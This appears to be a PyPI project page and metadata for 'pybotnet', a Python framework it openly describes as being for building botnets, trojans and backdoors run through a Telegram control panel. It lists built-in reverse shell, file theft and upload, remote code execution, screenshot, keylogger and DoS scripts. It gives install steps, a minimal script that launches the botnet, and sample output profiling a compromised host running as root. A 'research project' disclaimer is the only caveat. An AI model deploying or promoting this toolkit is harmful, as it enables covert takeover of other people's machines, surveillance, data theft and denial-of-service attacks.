<p align="center">
<a href='https://github.com/onionj/pybotnet' target='_blank'><img src='https://files.virgool.io/upload/users/271869/posts/wxs2bk9hkqfx/ezoxwssoikqm.jpeg' border='5' alt='trojan horse'/></a>
<h1 align="center">PyBotNet</h1>
<p align="center">
A Python framework for building <b>remote control</b>, <b>botnet</b> , <b>trojan</b> or <b>backdoor</b> with Telegram or other control panels
</p>
<p align="center">
<a href="https://github.com/onionj/pybotnet">
<img src="https://img.shields.io/pypi/v/pybotnet?label=pybotnet" />
</a>
<a href="https://github.com/onionj/pybotnet/blob/master/LICENSE">
<img src="https://img.shields.io/github/license/onionj/pybotnet" />
</a>
<a href="https://www.python.org/">
<img src="https://img.shields.io/pypi/pyversions/pybotnet" />
</a>
</p>
<p align="center">
<a href="https://www.pepy.tech/projects/pybotnet">
<img src="https://static.pepy.tech/badge/pybotnet" />
</a>
<a href="https://www.pepy.tech/projects/pybotnet">
<img src="https://static.pepy.tech/badge/pybotnet/month" />
</a>
<a href="https://www.pepy.tech/projects/pybotnet">
<img src="https://static.pepy.tech/badge/pybotnet/week" />
</a>
</p>
</p>
> Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.
---
**Source Code**: <a href="https://github.com/onionj/pybotnet" target="_blank">https://github.com/onionj/pybotnet</a>
**Documentation**: <a href="https://onionj.github.io/pybotnet/" target="_blank">https://onionj.github.io/pybotnet/</a>
**ToDo List**: <a href="https://github.com/users/onionj/projects/1" target="_blank">https://github.com/users/onionj/projects/1</a>
---
### Features:
* Built in Telegram control pannel and proxy system
* Built in scripts like:
* reverse shell
* put or get file
* run python code on target systems
* get screenshot
* keylogger
* dos
* scheduler
* ...
* Cross platform
* Ability to easily add custom scripts
* Import external scripts
* Ability to add custom control panel
* Add remote control to your apps
* [...](https://onionj.github.io/pybotnet/)
### Install PyBotNet
```console
pip3 install pybotnet -U
```
* `-U`: make sure to upgrade framework to latest version.
#### The simplest PyBotNet file could look like this:
```py title="main.py"
# in main.py
from pybotnet import BotNet, TelegramEngine
telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)
botnet = BotNet(telegram_engine) # (2)
botnet.run()
```
1. create engine: Engines transfer messages between admin and botnet
2. create BotNet instance
#### note:
* `TELEGRAM_TOKEN`: You can use telegram `@botfather` to Create new telegram API Bot and get your `TELEGRAM_TOKEN`
* `ADMIN_CHAT_ID`: Get it from @userinfobot telegram bot
* PyBotNet include default scripts, like: `/shell`, `/put_file`, `/get_file`, `/screenshot`, `/who`, ...,
you can send `/help` to your telegram bot and see more detail..
#### Run code:
```console
python3 main.py
```
#### telegram engine
open telegram and send `/who` command to your bot; If you have done the steps correctly, you recive a message like this:
```
scripts_name:
echo
who
shell
screenshot
put_file
get_file
runcode
openurl
dos
schedule
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True
```
you can send `/help` to see help page, or send `/help <script_name>` to recive more help about a specific script.
for example send `/help screenshot`, You will receive:
```
NAME:
screenshot
DESCRIPTION:
get screen shot
* `[mac-address] /screenshot`
or
* `/screenshot`
example command:
* `94945035671481 /screenshot`
* `/screenshot`
return: img or img-download-link
script_version: 0.0.1
default_script: True
___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False
```
in top of message you see script name, description, syntax, and examples.
for run screenshot script you have two choice:
* Run the script on all clients that are listening to Telegram bot (for now we have one!)
* Run script on one specific system
for run script on all client send `/screenshot`.
bot if you need to get screen-shot on a specific system you need to send `[mac_addres] /screenshot` for our case: `228362405364 /screenshot`
in some case like `/shell` you need to run it just for one system.
For see who we can `Add custom scripts`, `Run in background`, `Running the pybotnet without coding`, and etc, see the below documentation.
### *For more, see [Documentation](https://onionj.github.io/pybotnet/)*
---
## Contributors ✨
Thanks goes to these wonderful people :
<table>
<td align="center"><a href="https://github.com/TorhamDev"><img src="https://avatars.githubusercontent.com/u/87639984?v=4" width="70px;" alt=""/><br /><sub><b> TorhamDev</b></sub></a><br /></td>
<td align="center"><a href="https://github.com/SepehrRasouli"><img src="https://avatars.githubusercontent.com/u/81516241?v=4" width="70px;" alt=""/><br /><sub><b> SepehrRasouli</b></sub></a><br /></td>
</table>
Raw data
{
"_id": null,
"home_page": "https://github.com/onionj/pybotnet",
"name": "pybotnet",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.8.0",
"maintainer_email": null,
"keywords": "onionj pybotnet, python remote control, python backdoor, python botnet, pybotnet, python ddos, python backdoor, python trojan, reverse shell, python keyloggerframework",
"author": "onionj",
"author_email": "onionj98@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/89/67/d01fb3064d8e1a4beb40d867ae3166bb74ea1c9c5dd1102c047b4333c93c/pybotnet-2.2.5.tar.gz",
"platform": null,
"description": "\n\n <p align=\"center\">\n <a href='https://github.com/onionj/pybotnet' target='_blank'><img src='https://files.virgool.io/upload/users/271869/posts/wxs2bk9hkqfx/ezoxwssoikqm.jpeg' border='5' alt='trojan horse'/></a>\n <h1 align=\"center\">PyBotNet</h1>\n <p align=\"center\"> \n A Python framework for building <b>remote control</b>, <b>botnet</b> , <b>trojan</b> or <b>backdoor</b> with Telegram or other control panels\n </p>\n <p align=\"center\">\n <a href=\"https://github.com/onionj/pybotnet\">\n <img src=\"https://img.shields.io/pypi/v/pybotnet?label=pybotnet\" />\n </a>\n <a href=\"https://github.com/onionj/pybotnet/blob/master/LICENSE\">\n <img src=\"https://img.shields.io/github/license/onionj/pybotnet\" />\n </a>\n <a href=\"https://www.python.org/\">\n \t<img src=\"https://img.shields.io/pypi/pyversions/pybotnet\" />\n </a>\n </p>\n <p align=\"center\">\n <a href=\"https://www.pepy.tech/projects/pybotnet\">\n <img src=\"https://static.pepy.tech/badge/pybotnet\" />\n </a>\n <a href=\"https://www.pepy.tech/projects/pybotnet\">\n <img src=\"https://static.pepy.tech/badge/pybotnet/month\" />\n </a>\n <a href=\"https://www.pepy.tech/projects/pybotnet\">\n <img src=\"https://static.pepy.tech/badge/pybotnet/week\" />\n </a>\n </p>\n</p>\n \n\n> Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!. \n\n---\n\n**Source Code**: <a href=\"https://github.com/onionj/pybotnet\" target=\"_blank\">https://github.com/onionj/pybotnet</a>\n\n**Documentation**: <a href=\"https://onionj.github.io/pybotnet/\" target=\"_blank\">https://onionj.github.io/pybotnet/</a>\n\n**ToDo List**: <a href=\"https://github.com/users/onionj/projects/1\" target=\"_blank\">https://github.com/users/onionj/projects/1</a>\n\n---\n\n### Features:\n* Built in Telegram control pannel and proxy system\n* Built in scripts like:\n * reverse shell\n * put or get file\n * run python code on target systems\n * get screenshot\n * keylogger\n * dos\n * scheduler\n * ...\n* Cross platform\n* Ability to easily add custom scripts\n* Import external scripts\n* Ability to add custom control panel\n* Add remote control to your apps\n* [...](https://onionj.github.io/pybotnet/)\n\n\n### Install PyBotNet\n\n```console\npip3 install pybotnet -U\n```\n\n* `-U`: make sure to upgrade framework to latest version.\n\n\n#### The simplest PyBotNet file could look like this:\n\n\n```py title=\"main.py\"\n# in main.py\nfrom pybotnet import BotNet, TelegramEngine\n\n\ntelegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)\n\nbotnet = BotNet(telegram_engine) # (2)\nbotnet.run()\n```\n\n1. create engine: Engines transfer messages between admin and botnet\n2. create BotNet instance\n\n\n#### note:\n * `TELEGRAM_TOKEN`: You can use telegram `@botfather` to Create new telegram API Bot and get your `TELEGRAM_TOKEN` \n * `ADMIN_CHAT_ID`: Get it from @userinfobot telegram bot\n * PyBotNet include default scripts, like: `/shell`, `/put_file`, `/get_file`, `/screenshot`, `/who`, ...,\n you can send `/help` to your telegram bot and see more detail..\n\n#### Run code:\n\n```console \npython3 main.py\n```\n\n#### telegram engine\n\nopen telegram and send `/who` command to your bot; If you have done the steps correctly, you recive a message like this:\n\n```\nscripts_name:\n echo\n who\n shell\n screenshot\n put_file\n get_file\n runcode\n openurl\n dos\n schedule\n\nmac_addres: 228362405364\nos: Linux\nglobal_ip: 5.10.30.35\ncountry: Iran, Islamic Republic of\nbot_name: no_name\nlocal_ip: {'192.168.23.1'}\nhost_name: {'system_name'}\nsystem_user: root\nup_time: 0:00:01\ncurrent_route: /\npid: 148352\ncpu_count: 8\npybotnet_version: 2.0.8b0\nfrom cache: True\n```\n\n\nyou can send `/help` to see help page, or send `/help <script_name>` to recive more help about a specific script.\n\nfor example send `/help screenshot`, You will receive:\n\n```\nNAME:\nscreenshot\n\nDESCRIPTION:\nget screen shot\n * `[mac-address] /screenshot`\n or\n * `/screenshot`\n\n example command: \n * `94945035671481 /screenshot`\n * `/screenshot` \n\n return: img or img-download-link\n \n\nscript_version: 0.0.1\ndefault_script: True\n\n___________________________\nscripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']\nmac_addres: 228362405364\nos: Linux\nglobal_ip: 5.10.30.35\ncountry: Iran, Islamic Republic of\nbot_name: no_name\nuse_proxy: False\n```\n\nin top of message you see script name, description, syntax, and examples.\n\nfor run screenshot script you have two choice:\n\n* Run the script on all clients that are listening to Telegram bot (for now we have one!)\n* Run script on one specific system\n\nfor run script on all client send `/screenshot`.\n\nbot if you need to get screen-shot on a specific system you need to send `[mac_addres] /screenshot` for our case: `228362405364 /screenshot`\n\nin some case like `/shell` you need to run it just for one system.\n\n\nFor see who we can `Add custom scripts`, `Run in background`, `Running the pybotnet without coding`, and etc, see the below documentation.\n\n### *For more, see [Documentation](https://onionj.github.io/pybotnet/)*\n\n\n---\n\n## Contributors \u2728\nThanks goes to these wonderful people :\n\n<table>\n<td align=\"center\"><a href=\"https://github.com/TorhamDev\"><img src=\"https://avatars.githubusercontent.com/u/87639984?v=4\" width=\"70px;\" alt=\"\"/><br /><sub><b> TorhamDev</b></sub></a><br /></td>\n<td align=\"center\"><a href=\"https://github.com/SepehrRasouli\"><img src=\"https://avatars.githubusercontent.com/u/81516241?v=4\" width=\"70px;\" alt=\"\"/><br /><sub><b> SepehrRasouli</b></sub></a><br /></td>\n</table>\n\n",
"bugtrack_url": null,
"license": "gpl-3.0",
"summary": "A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels",
"version": "2.2.5",
"project_urls": {
"Homepage": "https://github.com/onionj/pybotnet"
},
"split_keywords": [
"onionj pybotnet",
" python remote control",
" python backdoor",
" python botnet",
" pybotnet",
" python ddos",
" python backdoor",
" python trojan",
" reverse shell",
" python keyloggerframework"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "f845d888d6b130131e4d255ebcd1caaa86b9fab2a103ee6ca46b4fa4bb6e70ba",
"md5": "522739fe2f7b6927ee24f6723d8e28bf",
"sha256": "c850c79c4f7fc3843464a84e7d32c47f3a544891b9e6ad7092bed58325cce5ab"
},
"downloads": -1,
"filename": "pybotnet-2.2.5-py3-none-any.whl",
"has_sig": false,
"md5_digest": "522739fe2f7b6927ee24f6723d8e28bf",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.8.0",
"size": 37424,
"upload_time": "2024-03-30T13:10:11",
"upload_time_iso_8601": "2024-03-30T13:10:11.807173Z",
"url": "https://files.pythonhosted.org/packages/f8/45/d888d6b130131e4d255ebcd1caaa86b9fab2a103ee6ca46b4fa4bb6e70ba/pybotnet-2.2.5-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "8967d01fb3064d8e1a4beb40d867ae3166bb74ea1c9c5dd1102c047b4333c93c",
"md5": "070962bee0387f805a204234ffecdbfc",
"sha256": "ad11396d38a788b7013915b8a236f19f86149ad3762ee4a42eaa2e149b67aa37"
},
"downloads": -1,
"filename": "pybotnet-2.2.5.tar.gz",
"has_sig": false,
"md5_digest": "070962bee0387f805a204234ffecdbfc",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.8.0",
"size": 32426,
"upload_time": "2024-03-30T13:10:14",
"upload_time_iso_8601": "2024-03-30T13:10:14.218090Z",
"url": "https://files.pythonhosted.org/packages/89/67/d01fb3064d8e1a4beb40d867ae3166bb74ea1c9c5dd1102c047b4333c93c/pybotnet-2.2.5.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2024-03-30 13:10:14",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "onionj",
"github_project": "pybotnet",
"travis_ci": false,
"coveralls": false,
"github_actions": true,
"requirements": [],
"lcname": "pybotnet"
}
JSON
